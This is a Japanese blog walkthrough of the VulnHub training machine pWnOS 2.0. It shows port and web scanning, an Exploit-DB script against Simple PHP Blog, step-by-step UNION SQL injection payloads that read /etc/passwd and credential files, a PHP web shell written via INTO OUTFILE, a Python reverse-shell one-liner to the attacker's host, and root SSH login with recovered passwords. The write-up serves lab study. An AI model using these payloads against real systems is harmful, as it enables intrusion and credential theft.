2
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

【VulnHub】pWnOS: 2.0 - Walkthrough -

Last updated at Posted at 2020-01-04

pWnOS: 2.0」は、「pWnOS」によって開発され、pWnOSにて公開されているシリーズの一つです。

リリース情報

名称: pWnOS: 2.0 (Pre-Release)
リリース日: 2011年7月4日
シリーズ: pWnOS
作者: pWnOS

Walkthrough

IPアドレスの固定

pWnOS: 2.0のIPアドレスは、静的に10.10.10.100に設定されています。

このため、攻撃プラットフォームKali Linux10.10.10.0/24ネットワーク範囲内にあらかじめ設定しておく必要があります。そこで、/etc/network/interfacesファイルを次のとおり編集しました。設定を反映させるため、OSの再起動を行っています。

root@kali:~# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

allow-hotplug eth0
iface eth0 inet static
 address 10.10.10.10
 netmask 255.0.0.0
 broadcast 10.255.255.255
 gateway 10.10.10.1

列挙

実行されているサービスの特定

どのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -sS -sV -p- 10.10.10.100コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします

root@kali:~# nmap -Pn -sS -sV -p- 10.10.10.100
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-20 11:59 JST
Nmap scan report for 10.10.10.100
Host is up (0.00037s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
MAC Address: 00:0C:29:06:E6:25 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.54 seconds
root@kali:~# 

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
22/tcp ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp http Apache httpd 2.2.17 ((Ubuntu))

ウェブサイトの診断

ウェブサイトの脆弱性を診断するために、niktoを使用してみます。

root@kali:~# nikto -h http://10.10.10.100/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.100
+ Target Hostname:    10.10.10.100
+ Target Port:        80
+ Start Time:         2019-11-20 12:02:50 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.2.17 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.3.5-1ubuntu7
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ Apache/2.2.17 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ /info/: Output from the phpinfo() function was found.
+ OSVDB-3092: /info/: This might be interesting...
+ OSVDB-3092: /login/: This might be interesting...
+ OSVDB-3092: /register/: This might be interesting...
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: /icons/: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /icons/README, inode: 1311031, size: 5108, mtime: Tue Aug 28 19:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ /info.php?file=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ /login.php: Admin login page/section found.
+ 8310 requests: 0 error(s) and 27 item(s) reported on remote host
+ End Time:           2019-11-20 12:03:08 (GMT9) (18 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~# 

さらに、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。dirbコマンドを使用します。

root@kali:~# dirb http://10.10.10.100/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Nov 20 12:03:56 2019
URL_BASE: http://10.10.10.100/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.100/ ----
+ http://10.10.10.100/activate (CODE:302|SIZE:0)                                 
==> DIRECTORY: http://10.10.10.100/blog/                                         
+ http://10.10.10.100/cgi-bin/ (CODE:403|SIZE:288)                               
==> DIRECTORY: http://10.10.10.100/includes/                                     
+ http://10.10.10.100/index (CODE:200|SIZE:854)                                  
+ http://10.10.10.100/index.php (CODE:200|SIZE:854)                              
+ http://10.10.10.100/info (CODE:200|SIZE:50173)                                 
+ http://10.10.10.100/info.php (CODE:200|SIZE:50042)                             
+ http://10.10.10.100/login (CODE:200|SIZE:1174)                                 
+ http://10.10.10.100/register (CODE:200|SIZE:1562)                              
+ http://10.10.10.100/server-status (CODE:403|SIZE:293)                          
                                                                                 
---- Entering directory: http://10.10.10.100/blog/ ----
+ http://10.10.10.100/blog/add (CODE:302|SIZE:0)                                 
+ http://10.10.10.100/blog/atom (CODE:200|SIZE:1062)                             
+ http://10.10.10.100/blog/categories (CODE:302|SIZE:0)                          
+ http://10.10.10.100/blog/comments (CODE:302|SIZE:0)                            
==> DIRECTORY: http://10.10.10.100/blog/config/                                  
+ http://10.10.10.100/blog/contact (CODE:200|SIZE:5891)                          
==> DIRECTORY: http://10.10.10.100/blog/content/                                 
+ http://10.10.10.100/blog/delete (CODE:302|SIZE:0)                              
==> DIRECTORY: http://10.10.10.100/blog/docs/                                    
==> DIRECTORY: http://10.10.10.100/blog/flash/                                   
==> DIRECTORY: http://10.10.10.100/blog/images/                                  
+ http://10.10.10.100/blog/index (CODE:200|SIZE:8094)                            
+ http://10.10.10.100/blog/index.php (CODE:200|SIZE:8094)                        
+ http://10.10.10.100/blog/info (CODE:302|SIZE:0)                                
+ http://10.10.10.100/blog/info.php (CODE:302|SIZE:0)                            
==> DIRECTORY: http://10.10.10.100/blog/interface/                               
==> DIRECTORY: http://10.10.10.100/blog/languages/                               
+ http://10.10.10.100/blog/login (CODE:200|SIZE:5640)                            
+ http://10.10.10.100/blog/logout (CODE:302|SIZE:0)                              
+ http://10.10.10.100/blog/options (CODE:302|SIZE:0)                             
+ http://10.10.10.100/blog/rdf (CODE:200|SIZE:1411)                              
+ http://10.10.10.100/blog/rss (CODE:200|SIZE:1237)                              
==> DIRECTORY: http://10.10.10.100/blog/scripts/                                 
+ http://10.10.10.100/blog/search (CODE:200|SIZE:4924)                           
+ http://10.10.10.100/blog/setup (CODE:302|SIZE:0)                               
+ http://10.10.10.100/blog/static (CODE:302|SIZE:0)                              
+ http://10.10.10.100/blog/stats (CODE:200|SIZE:5282)                            
==> DIRECTORY: http://10.10.10.100/blog/themes/                                  
+ http://10.10.10.100/blog/trackback (CODE:302|SIZE:0)                           
+ http://10.10.10.100/blog/upgrade (CODE:302|SIZE:0)                             
                                                                                 
---- Entering directory: http://10.10.10.100/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/config/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/content/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/docs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/flash/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/interface/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/languages/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Wed Nov 20 12:04:04 2019
DOWNLOADED: 9224 - FOUND: 30
root@kali:~# 

HTTPサービスのスキャン

Firefoxブラウザを使って80/tcpにアクセスしてみます。

  • Home : index.php
Home.png `IsIntS`というサイト名とともに、[Home]、[Register]、[Login]という3つのタブが用意されていることが確認できます。
  • Register : register.php
register.png
  • Login : login.php
login.png
  • blog
    niktodirbコマンドの結果から、/blog/ディレクトリに注目してみます。
blog.png HTMLソースを確認したところ、`Simple PHP Blog 0.4.0`にて構築されていることが特定できました。 blog source.png

Simple PHP Blog アプローチ

searchsploitコマンドを使って、Exploit-DBに掲載されているSimple PHP Blog 0.4.0のexploitコードを検索してみましょう。

root@kali:~# searchsploit Simple PHP Blog 0.4.0
--------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                             |  Path
                                                                           | (/usr/share/exploitdb/)
--------------------------------------------------------------------------- ----------------------------------------
Simple PHP Blog 0.4.0 - Multiple Remote s                                  | exploits/php/webapps/1191.pl
Simple PHP Blog 0.4.0 - Remote Command Execution (Metasploit)              | exploits/php/webapps/16883.rb
--------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# 

結果、Simple PHP Blog 0.4.0には、複数の脆弱性によりリモートコード実行(EDB-ID: 1191)が可能であることが判明しました。

root@kali:~# perl /usr/share/exploitdb/exploits/php/webapps/1191.pl -h http://10.10.10.100/blog -e 2

________________________________________________________________________________
		  SimplePHPBlog v0.4.0 Exploits
			     by
		     Kenneth F. Belva, CISSP
		    http://www.ftusecurity.com
________________________________________________________________________________
Running Username and Password Hash Retrieval Exploit....


Retrieved Username and Password Hash: $1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/


*** Exploit Completed....
Have a nice day! :)
root@kali:~# 

ユーザー名/パスワードハッシュが出力されました。hashidコマンドで形式を特定します。

root@kali:~# hashid '$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/'
Analyzing '$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/'
[+] MD5 Crypt 
[+] Cisco-IOS(MD5) 
[+] FreeBSD MD5 
root@kali:~#

1191.plを使って、新しいユーザh4ck/h4ckを作成します。

root@kali:~# perl /usr/share/exploitdb/exploits/php/webapps/1191.pl -h http://10.10.10.100/blog/login.php -e 3 -U h4ck -P h4ck

________________________________________________________________________________
		  SimplePHPBlog v0.4.0 Exploits
			     by
		     Kenneth F. Belva, CISSP
		    http://www.ftusecurity.com
________________________________________________________________________________
Running Set New Username and Password Exploit....


Deleted File: ./config/password.txt
./config/password.txt created!
Username is set to: h4ck
Password is set to: h4ck


*** Exploit Completed....
Have a nice day! :)
root@kali:~# 

作成したh4ck/h4ckアカウントを使い、Simple PHP Blogへログインします。
login.png

SQLインジェクション

「SQLインジェクション(CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))」の脆弱性を抱えている可能性について検証します。

攻略のヒントは、書籍『The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws (English Edition)』の、「Chapter 9 Attacking Data Stores - Finding SQL Injection Bugs」に、こんな風に記載されています。

When user-supplied string data is incorporated into a SQL query, it is encapsulated within single quotation marks. To exploit any SQL injection flaw, you need to break out of these quotation marks.

そこで、login.phpEmail Address:/Password:要求に対して、シングルクォーテーション'を送信してみます。
fuzz.png

次のエラーが出力されました。シングルクォーテーションに対する反応から、SQLインジェクション攻撃に対して脆弱である可能性を推定することができました。

An error occurred in script '/var/www/login.php' on line 47: Query: SELECT * FROM users WHERE email=''' AND pass='bb589d0621e5472f470fa3425a234c74b1e202e8' AND active IS NULL
MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'bb589d0621e5472f470fa3425a234c74b1e202e8' AND active IS NULL' at line 1
Date/Time: 9-25-2019 09:24:38

エラーから得られた有益と思われる情報をまとめておきます。

項目 内容
パス /var/www/login.php
バージョン情報 MySQL 5.1.54-1ubuntu4
クエリ Query: SELECT * FROM users WHERE email=''' AND pass='bb589d0621e5472f470fa3425a234c74b1e202e8' AND active IS NULL

wapitiコマンド

ウェブサイトにて、wapitiコマンドを実行します。

root@kali:~# wapiti http://10.10.10.100/
Wapiti-2.3.0 (wapiti.sourceforge.net)

 Note
========
This scan has been saved in the file /root/.wapiti/scans/10.10.10.100.xml
You can use it to perform attacks without scanning again the web site with the "-k" parameter
[*] Loading modules:
	 mod_crlf, mod_exec, mod_file, mod_sql, mod_xss, mod_backup, mod_htaccess, mod_blindsql, mod_permanentxss, mod_nikto

[+] Launching module exec

[+] Launching module file

[+] Launching module sql
MySQL Injection in http://10.10.10.100/login.php via injection in the parameter email
Evil request:
POST /login.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/login.php
Content-Type: application/x-www-form-urlencoded

email=%BF%27%22%28&pass=letmein&submit=Login&submitted=TRUE


[+] Launching module xss
XSS vulnerability in http://10.10.10.100/register.php via injection in the parameter first_name
Evil request:
POST /register.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/register.php
Content-Type: application/x-www-form-urlencoded

first_name=%22%3E%3C%2Finput%3E%3Cscript%3Ealert%28%27wc0jjmxhaz%27%29%3C%2Fscript%3E&last_name=default&email=default&password1=letmein&password2=letmein&submit=Register&submitted=TRUE

XSS vulnerability in http://10.10.10.100/register.php via injection in the parameter last_name
Evil request:
POST /register.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/register.php
Content-Type: application/x-www-form-urlencoded

first_name=default&last_name=%22%3E%3C%2Finput%3E%3Cscript%3Ealert%28%27wmdl5aja5v%27%29%3C%2Fscript%3E&email=default&password1=letmein&password2=letmein&submit=Register&submitted=TRUE

XSS vulnerability in http://10.10.10.100/register.php via injection in the parameter email
Evil request:
POST /register.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/register.php
Content-Type: application/x-www-form-urlencoded

first_name=default&last_name=default&email=%22%3E%3C%2Finput%3E%3Cscript%3Ealert%28%27wqjo3p1j54%27%29%3C%2Fscript%3E&password1=letmein&password2=letmein&submit=Register&submitted=TRUE


[+] Launching module blindsql

[+] Launching module permanentxss

Report
------
A report has been generated in the file /root/.wapiti/generated_report
Open /root/.wapiti/generated_report/index.html with a browser to see this report.
root@kali:~# 
  • login.phpにおけるemailパラメータにSQLインジェクションの脆弱性を検知
  • register.phpにおける複数のパラメータにXSSの脆弱性を検知

BurpSuite

HTTP通信内容の書き換えて、SQLインジェクション攻撃に対する反応を調査していきます。ここでは、BurpSuiteを使いリクエストの取得、パラメータの書き換えを行います。

Firefoxブラウザを介してBurpSuiteにてクライアントとサーバー間のトラフィックすべてを横取りできるように、必要な設定(Configuring your Browser to work with BurpConfiguring Firefox to work with Burp)を行います。

BurpSuiteの初期設定

BurpのProxy機能を利用します。この機能は、Webアプリケーションの通信でサーバにリクエストを送信する際に、BurpがHTTP通信をキャプチャし、通信内容の閲覧や通信内容の書き換えが可能となる機能です。

  1. Burpを起動し、[Proxy]タブ->[Options]タブに移動し、[Proxy Listeners]の設定内容を確認します(初期設定では、Interfaceとして、127.0.0.1:8080が設定されています)。
  2. 次に、レスポンス内容もキャプチャするための設定を行います。同じく[Proxy]タブ->[Options]タブの[Intercept Client Requests]の設定内容を確認します。[Intercept responses based on the following rules]チェックボックスをONに設定します。
  3. [Use this proxy server for all protocols]チェックボックスがオンになっていることを確認します。[OK]をクリックして、すべてのオプションダイアログを閉じます。
Options.png

FirefoxをBurpで動作させる初期設定

  1. Firefoxのアドレスバーにabout:preferences#advancedを入力します。
  2. [Network]タブに移動し、[Connection]の[Settings]ボタンをクリックします。
  3. [Manual proxy configuration]オプションを選択し、[HTTP Proxy]フィールドにBurp Proxyリスナーアドレスを入力します(初期設定は127.0.0.1に設定されています)。[Port]フィールドにBurp Proxyリスナーポートを入力します(初期設定は8080に設定されています)。
Firefox.png

Firefoxの内部通信を抑制する

  1. 初期設定のFirefoxでは、http://detectportal.firefox.com/success.txtへのアクセスが頻繁に発生します。ペネトレーションテストには不要な通信のため、抑制します。
Firefox_success.png 2. Firefoxのアドレスバーに`about:config`を入力します。`This might void your warranty!`(動作保証対象外になります!)と表示されますが、`I accept the risk!`(危険性を承知の上で使用する)ボタンをクリックします。 Firefox_config.png 3. `network.captive-portal-service.enabled`の値を`false`に変更します。これにより、`success.txt`へのアクセスが停止します。 Firefox_network_captive.png

ログインフォームのキャプチャ

BurpのIntercept機能を利用します。ログインフォームに値を入力し、[Login]ボタンをクリックした際に送信される値を確認します。

  1. Burpの[Proxy]タブ->[Intercept]タブに移動し、[Intercept is off]の状態にします。
Intercept_off.png 2. Firefoxにて、`http://10.10.10.100/login.php`画面へ遷移します。BurpSuiteの[Proxy]タブ->[Intercept]タブに移動し、[Intercept is on]の状態にします。この状態で`login.php`にて`Email Address:email`、`Password:password`を入力して、[Login]ボタンをクリックします。 3. 変数`email`、`pass`、`submit`、`submitted`が`POST`リクエストにより送信されていることが確認できます。 Burp_Intercept.png
email=email&pass=password&submit=Login&submitted=TRUE

HTTP通信の書き換え

BurpのRepeater機能を利用します。この機能は、HTTPリクエストをBurpから直接送信することが可能です。BurpのProxy機能でキャプチャした内容を書き換えて再送することができます。
この機能を使って、データベース探索を行います。

データベース探索

MySQL バージョンの表示

  1. Proxy機能でログインフォームのキャプチャした後、右クリックメニューを表示させ[Send to Repeater]を選択します。
Burp_Repeater.png 2. [Repeater]タブを選択し、Requestの内容を次のとおり書き換え、[Go]ボタンをクリックします。
email='&pass=password&submit=Login&submitted=TRUE
  1. Responseの内容を確認すると、MySQL 5.1.54-1ubuntu4であることが特定できました。
Burp_mysql.png

テーブル内の列数を確認

union select columns_sequenceクエリを使い、テーブル内の列数を確認するとともに、脆弱な列の表示を試みます。
columns_sequenceを、コンマ,で区切られた1からx-1(列の数)までの数値に置き換えます。すなわち、列数が8の場合、クエリは次のようになります。

email=' union select 1,2,3,4,5,6,7,8-- -&pass=password&submit=Login&submitted=TRUE

また、Burp RepeaterのRenderタブに切り替えると、次のように表示されます。これはすなわち、書き込み可能な列4であることを示しています。

Burp_Render.png

ユーザー名の特定

ユーザー名を列挙します。すでに列4が脆弱である(書き込むことができる)ことが判明しています。そこで、コードをその列に挿入するクエリを実行します。

email=' union select 1,2,3,user(),5,6,7,8-- -&pass=password&submit=Login&submitted=TRUE
Burp_user.png `root@localhost`にて動作していることが解ります。

バージョン、データベース名、ディレクトリの列挙

同様に、バージョン情報をversion()、データベースの名前をdatabase()、格納ディレクトリを@@datadirにて列挙が可能です。
また、rgoup_concat()関数にて文字列を結合し、0x3a(コロン記号)にて区切ることでこれらの値を一括して列挙することが可能です。

email=' union select 1,2,3,group_concat(version(),0x3a,database(),0x3a,@@datadir,0x3a,user()),5,6,7,8-- -&pass=password&submit=Login&submitted=TRUE
Burp_group_concat_version.png
項目 内容
バージョン 5.1.54-1ubuntu4
データベースの名前 ch16
サーバの格納ディレクトリ /var/lib/mysql/
現在のユーザー名 root@localhost

すべてのデータベースの列挙

SQL内のすべてのデータベースが列挙可能であるか検証します。次のクエリを実行します。4group_concat(schema_name)に置き換え、from information_schema.schemata#を追加します。

email=' union select 1,2,3,group_concat(schema_name),5,6,7,8 from information_schema.schemata#&pass=password&submit=Login&submitted=TRUE
Burp_group_concat_schema_name.png

3つのデータベースが存在していることを特定しました。このうち、information_schemamysqlは標準的なデータベースです。従って、解析対象はch16データベースとなります。

項目 内容
バージョン 5.1.54-1ubuntu4
データベースの名前 ch16
サーバの格納ディレクトリ /var/lib/mysql/
現在のユーザー名 root@localhost
データベース information_schema, ch16, mysql

テーブルの列挙

ch16データベースに注目し、このデータベースからすべてのテーブルを列挙します。次のクエリを実行します。4group_concat(table_name)に置き換え、from information_schema.tables where table_schema='ch16'を追加します。

email=' union select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema='ch16'#&pass=password&submit=Login&submitted=TRUE
Burp_group_concat_schema_name_table_name.png

ch16データベースにはusersテーブルが存在していることを特定しました。

項目 内容
バージョン 5.1.54-1ubuntu4
データベースの名前 ch16
サーバの格納ディレクトリ /var/lib/mysql/
現在のユーザー名 root@localhost
データベース information_schema, ch16, mysql
ch16 DBのテーブル users

カラム名の列挙

usersテーブルのカラム名を列挙するクエリを実行します。4group_concat(column_name)に置き換え、from information_schema.columns where table_schema='ch16'#を追加します。

email=' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_schema='ch16'#&pass=password&submit=Login&submitted=TRUE
Burp_column_name.png

ch16データベースにはusersテーブルが存在し、そのカラム名(列名)は次のとおりであることを特定しました。

+-------------------+
| user_id           |
| first_name        |
| last_name         |
| email             |
| pass              |
| user_level        |
| active            |
| registration_date |
+-------------------+

値の列挙

ch16データベースのusersテーブルに存在する各列の値を列挙するクエリを実行します。4group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level)に置き換え、from ch16.users#を追加します。

email=' union select 1,2,3,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level),5,6,7,8 from ch16.users#&pass=password&submit=Login&submitted=TRUE
Burp_value.png

user_id:1email:admin@isints.comuser_level:0の値からDan Privettは特権ユーザの可能性が推測できます。
しかし、システムへの侵入に使用できるアカウントではないようです。

+------------------------------------------------------+
| user_id    |1                                        |
| first_name |Dan                                      |
| last_name  |Privett                                  |
| email      |admin@isints.com                         |
| pass       |c2c4b4e51d9e23c02c15702c136c3e950ba9a4af |
| user_level |0                                        |
+------------------------------------------------------+

システム探索

ここでは、SQLインジェクションの脆弱性を突き、load_file()関数にてシステム内部のファイル取得を試みます。

/etc/passwdファイルの取得

/etc/passwdファイルを取得するクエリを実行します。4load_file('/etc/passwd')に置き換えます。

email=' union select 1,2,3,load_file('/etc/passwd'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
Burp_passwd.png

システムファイルの取得

すでにlogin.phpファイルのパスが判明しています。実際にファイルを取得し、内容を確認してみます。

項目 内容
パス /var/www/login.php
email=' union select 1,2,3,load_file('/var/www/login.php'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
Burp_login_php.png

新たにconfig.inc.phpファイルの存在を特定することができました。先ほどと同様にファイルを取得し、内容を確認してみます。

項目 内容
パス /var/www/login.php
パス /var/www/includes/config.inc.php
email=' union select 1,2,3,load_file('/var/www/includes/config.inc.php'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
Burp_config_inc_php.png

新たにmysqli_connect.phpファイルの存在を特定することができました。先ほどと同様にファイルを取得し、内容を確認してみます。

項目 内容
パス /var/www/login.php
パス /var/www/includes/config.inc.php
パス /var/www/mysqli_connect.php
email=' union select 1,2,3,load_file('/var/www/mysqli_connect.php'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
Burp_mysqli_connect.png

これにて、データベースのパスワードを取得することができました。

項目 内容
DB_USER root
DB_PASSWORD goodday
DB_HOST localhost
DB_NAME ch16

アクセスの取得

ペイロードの作成

ブラウザから直接コマンドを発行できるようにするphpファイルのアップロードを試みます。into outfileオプションを使用し、shell.phpという名前のファイルにコードを書き込みます。

email=' union select 1,2,3,"<?php system($_GET['cmd']);?>",5,6,7,8 into outfile '/var/www/shell.php'#&pass=password&submit=Login&submitted=TRUE
Burp_shell.png

仕掛けたシェルが動作することを確認します。次のURLにアクセスします。

http://10.10.10.100/shell.php?cmd=whoami;id;uname -a;which python
webshell.png

リバースシェル

pentestmonkey のワンライナー Python リバースシェルを仕掛けてみます。

攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けます。

root@kali:~# nc -lvp 4444 
listening on [any] 4444 ...

今回は、pentestmonkeyリバースシェルチートシートからPython版を仕掛けてみましょう。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

攻撃端末側のncがアクティブな状態で、次のURLに接続します。

http://10.10.10.100/shell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.10.10%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

URLが実行されると、セッションが開始されます。
Python_shell.png

シェルを拡張します。

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@web:/var/www$ 

/var/www/mysqli_connect.phpにて取得したroot/gooddayアカウントにて、MySQLサーバへの接続を試行します。次のとおり、失敗しました。

www-data@web:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: goodday

ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)

mysqli_connect.phpと同名ファイルが別の箇所存在している可能性について検証します。

www-data@web:/var/www$ find / -name "mysqli_connect.php" 2>/dev/null
find / -name "mysqli_connect.php" 2>/dev/null
/var/mysqli_connect.php
/var/www/mysqli_connect.php

次のとおり、二カ所にファイルが存在していることが確認できました。

|項目|内容|
|パス|/var/www/mysqli_connect.php|
|パス|/var/mysqli_connect.php|

2つのmysqli_connect.phpファイルについて比較します。

www-data@web:/var/www$ diff /var/mysqli_connect.php /var/www/mysqli_connect.php
< /var/mysqli_connect.php /var/www/mysqli_connect.php                        
10c10
< DEFINE ('DB_PASSWORD', 'root@ISIntS');
---
> DEFINE ('DB_PASSWORD', 'goodday');
www-data@web:/var/www$ 

root/gooddayのほかに、root/root@ISIntSアカウントが存在していることが確認できました。
このアカウントを使って、MySQLサーバへの接続を試行します。次のとおり、成功しました。

www-data@web:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: root@ISIntS

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3290
Server version: 5.1.54-1ubuntu4 (Ubuntu)

Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL v2 license

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

特権の引き上げ

root/root@ISIntSアカウントでSSH接続を試みます。root権限でのアクセスに成功しました。

root@kali:~# ssh root@10.10.10.100
The authenticity of host '10.10.10.100 (10.10.10.100)' can't be established.
ECDSA key fingerprint is SHA256:EWPtTr0Xn9NMudUhcD3+AMXSigXAGS4uldZp3grLm8w.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.100' (ECDSA) to the list of known hosts.
root@10.10.10.100's password: 
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)

 * Documentation:  http://www.ubuntu.com/server/doc

  System information as of Sat Oct 19 02:39:16 EDT 2019

  System load:  0.03              Processes:           73
  Usage of /:   2.9% of 38.64GB   Users logged in:     0
  Memory usage: 21%               IP address for eth0: 10.10.10.100
  Swap usage:   0%

  Graph this data and manage this system at https://landscape.canonical.com/
Last login: Mon May  9 19:29:03 2011
root@web:~# 

まとめ

  1. nmapコマンドを使って、22番、80番ポートがオープン状態であることを確認しました。
  2. wapitiコマンドを使って、SQLインジェクションの脆弱性を抱えていることを確認しました。
  3. BurpSuiteを使って、手作業によるSQLインジェクション攻撃を仕掛けました。
  4. SQLインジェクション攻撃(load_file()関数)により、Local File Inclusion(LFI)攻撃を仕掛けました。
  5. SQLインジェクション攻撃(into outfile)により、ファイルのアップロードを試みました。
  6. Pythonベースのリバースシェルを仕掛けました。
2
